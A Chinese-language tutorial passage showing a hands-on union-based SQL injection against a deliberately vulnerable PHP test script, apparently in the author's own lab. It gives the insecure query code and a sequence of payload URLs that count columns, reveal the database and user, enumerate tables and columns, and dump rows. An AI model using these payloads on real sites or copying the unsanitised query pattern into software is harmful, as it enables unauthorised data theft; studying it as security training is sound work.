企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持知识库和私有化部署方案 广告
# 实战 数据表ganyuan ![](https://img.kancloud.cn/fb/20/fb2066c4812ec07fcbd86e614b92fd52_935x73.png) 后端代码 ``` <pre class="calibre10">``` $id<span class="token1">=</span>$_GET<span class="token3">[</span><span class="token2">'id'</span><span class="token3">]</span><span class="token3">;</span> <span class="token4">var_dump</span><span class="token3">(</span>$id<span class="token3">)</span><span class="token3">;</span> $query<span class="token1">=</span><span class="token2">"select * from ganyuan where id=$id"</span><span class="token3">;</span> echo <span class="token2">"<br>"</span><span class="token3">;</span> echo $query<span class="token3">;</span> $link<span class="token1">=</span><span class="token4">mysqli_connect</span><span class="token3">(</span><span class="token2">"localhost"</span><span class="token3">,</span><span class="token2">"root"</span><span class="token3">,</span><span class="token2">"root"</span><span class="token3">,</span>$dbname <span class="token1">=</span> <span class="token2">"test"</span><span class="token3">)</span><span class="token3">;</span> <span class="token4">mysqli_select_db</span><span class="token3">(</span>$link<span class="token3">,</span><span class="token2">'test'</span><span class="token3">)</span><span class="token3">;</span> <span class="token5">if</span> <span class="token3">(</span>$res<span class="token1">=</span><span class="token4">mysqli_query</span><span class="token3">(</span>$link<span class="token3">,</span>$query<span class="token3">)</span><span class="token3">)</span> <span class="token3">{</span> $rows<span class="token1">=</span><span class="token4">mysqli_fetch_array</span><span class="token3">(</span>$res<span class="token3">)</span><span class="token3">;</span><span class="token">//MYSQLI_ASSOC,MYSQLI_NUM或MYSQLI_BOTH;</span> <span class="token4">var_dump</span><span class="token3">(</span>$rows<span class="token3">)</span><span class="token3">;</span> <span class="token3">}</span><span class="token5">else</span><span class="token3">{</span> echo $res<span class="token3">.</span><span class="token2">'|||'</span><span class="token3">;</span> <span class="token3">}</span> ``` ``` 1、orderby确定列数(超过9不会返回数据,所以确定该表9列) ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>order<span class="token1">%</span><span class="token6">20</span>by<span class="token1">%</span><span class="token6">209</span> http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">201</span><span class="token3">,</span><span class="token6">2</span><span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token3">;</span> ``` ``` 查出数据库名以及mysql用户名 ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token1">-</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">20</span><span class="token">/*!database()*/</span><span class="token3">,</span><span class="token">/*!user()*/</span><span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token3">;</span> ``` ``` ![](https://img.kancloud.cn/a0/bd/a0bd54988327d5077f83241e323c5610_227x326.png) 查出表名 原sql查询单条数据的时候,默认返回的是第一个表名,如果需要查询其他的表名则可以通过添加limit 0,1 ~limit n,1来实现 ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token1">-</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">201</span><span class="token3">,</span>table_name<span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token1">%</span><span class="token6">20</span>from<span class="token1">%</span><span class="token6">20</span>information_schema<span class="token3">.</span>tables<span class="token1">%</span><span class="token6">20</span>where<span class="token1">%</span><span class="token6">20</span>table_schema<span class="token1">%</span><span class="token6">20</span><span class="token1">=</span><span class="token1">%</span><span class="token6">20</span><span class="token1">%</span><span class="token6">27</span>test<span class="token1">%</span><span class="token6">27</span><span class="token3">;</span> ``` ``` ![](https://img.kancloud.cn/39/92/39920fa1cb9aaf4b1155737a380be51f_247x333.png) ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token1">-</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">201</span><span class="token3">,</span>table_name<span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token1">%</span><span class="token6">20</span>from<span class="token1">%</span><span class="token6">20</span>information_schema<span class="token3">.</span>tables<span class="token1">%</span><span class="token6">20</span>where<span class="token1">%</span><span class="token6">20</span>table_schema<span class="token1">%</span><span class="token6">20</span><span class="token1">=</span><span class="token1">%</span><span class="token6">20</span><span class="token1">%</span><span class="token6">27</span>test<span class="token1">%</span><span class="token6">27</span><span class="token1">%</span><span class="token6">20</span>limit<span class="token1">%</span><span class="token6">203</span><span class="token3">,</span><span class="token6">1</span><span class="token3">;</span> ``` ``` ![](https://img.kancloud.cn/03/03/0303bbd40f0ea7759cdac4b116d47951_227x335.png) 根据表查询表有哪些字段(通过加limit 0,1 ~ limit 8,1) ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token1">-</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">201</span><span class="token3">,</span>column_name<span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token1">%</span><span class="token6">20</span>from<span class="token1">%</span><span class="token6">20</span>information_schema<span class="token3">.</span>columns<span class="token1">%</span><span class="token6">20</span>where<span class="token1">%</span><span class="token6">20</span>table_schema<span class="token1">%</span><span class="token6">20</span><span class="token1">=</span><span class="token1">%</span><span class="token6">20</span><span class="token1">%</span><span class="token6">27</span>test<span class="token1">%</span><span class="token6">27</span><span class="token1">%</span><span class="token6">20</span>and<span class="token1">%</span><span class="token6">20</span>table_name<span class="token1">=</span><span class="token1">%</span><span class="token6">27</span>ganyuan<span class="token1">%</span><span class="token6">27</span><span class="token1">%</span><span class="token6">20</span>limit<span class="token1">%</span><span class="token6">208</span><span class="token3">,</span><span class="token6">1</span><span class="token3">;</span> ``` ``` ![](https://img.kancloud.cn/b8/32/b832175040b43b9cb350daccab282b79_237x335.png) ``` <pre class="calibre10">``` http<span class="token3">:</span><span class="token1">/</span><span class="token1">/</span>www<span class="token3">.</span>test<span class="token3">.</span>com<span class="token1">/</span>audit<span class="token1">/</span>sql<span class="token3">.</span>php<span class="token1">?</span>id<span class="token1">=</span><span class="token1">-</span><span class="token6">1</span><span class="token1">%</span><span class="token6">20</span>union<span class="token1">%</span><span class="token6">20</span>select<span class="token1">%</span><span class="token6">201</span><span class="token3">,</span><span class="token4">concat_ws</span><span class="token3">(</span><span class="token4">char</span><span class="token3">(</span><span class="token6">32</span><span class="token3">,</span><span class="token6">58</span><span class="token3">,</span><span class="token6">32</span><span class="token3">)</span><span class="token3">,</span>id<span class="token3">,</span>name<span class="token3">,</span>sex<span class="token3">,</span>star<span class="token3">,</span>pos<span class="token3">,</span>url<span class="token3">,</span>seniority<span class="token3">,</span>profession<span class="token3">)</span><span class="token3">,</span><span class="token6">3</span><span class="token3">,</span><span class="token6">4</span><span class="token3">,</span><span class="token6">5</span><span class="token3">,</span><span class="token6">6</span><span class="token3">,</span><span class="token6">7</span><span class="token3">,</span><span class="token6">8</span><span class="token3">,</span><span class="token6">9</span><span class="token1">%</span><span class="token6">20</span>from<span class="token1">%</span><span class="token6">20</span>ganyuan<span class="token1">%</span><span class="token6">20</span>limit<span class="token1">%</span><span class="token6">202</span><span class="token3">,</span><span class="token6">1</span><span class="token3">;</span> ``` ``` ![](https://img.kancloud.cn/5d/5a/5d5a32d76fac3412a40171db962e21ed_802x323.png)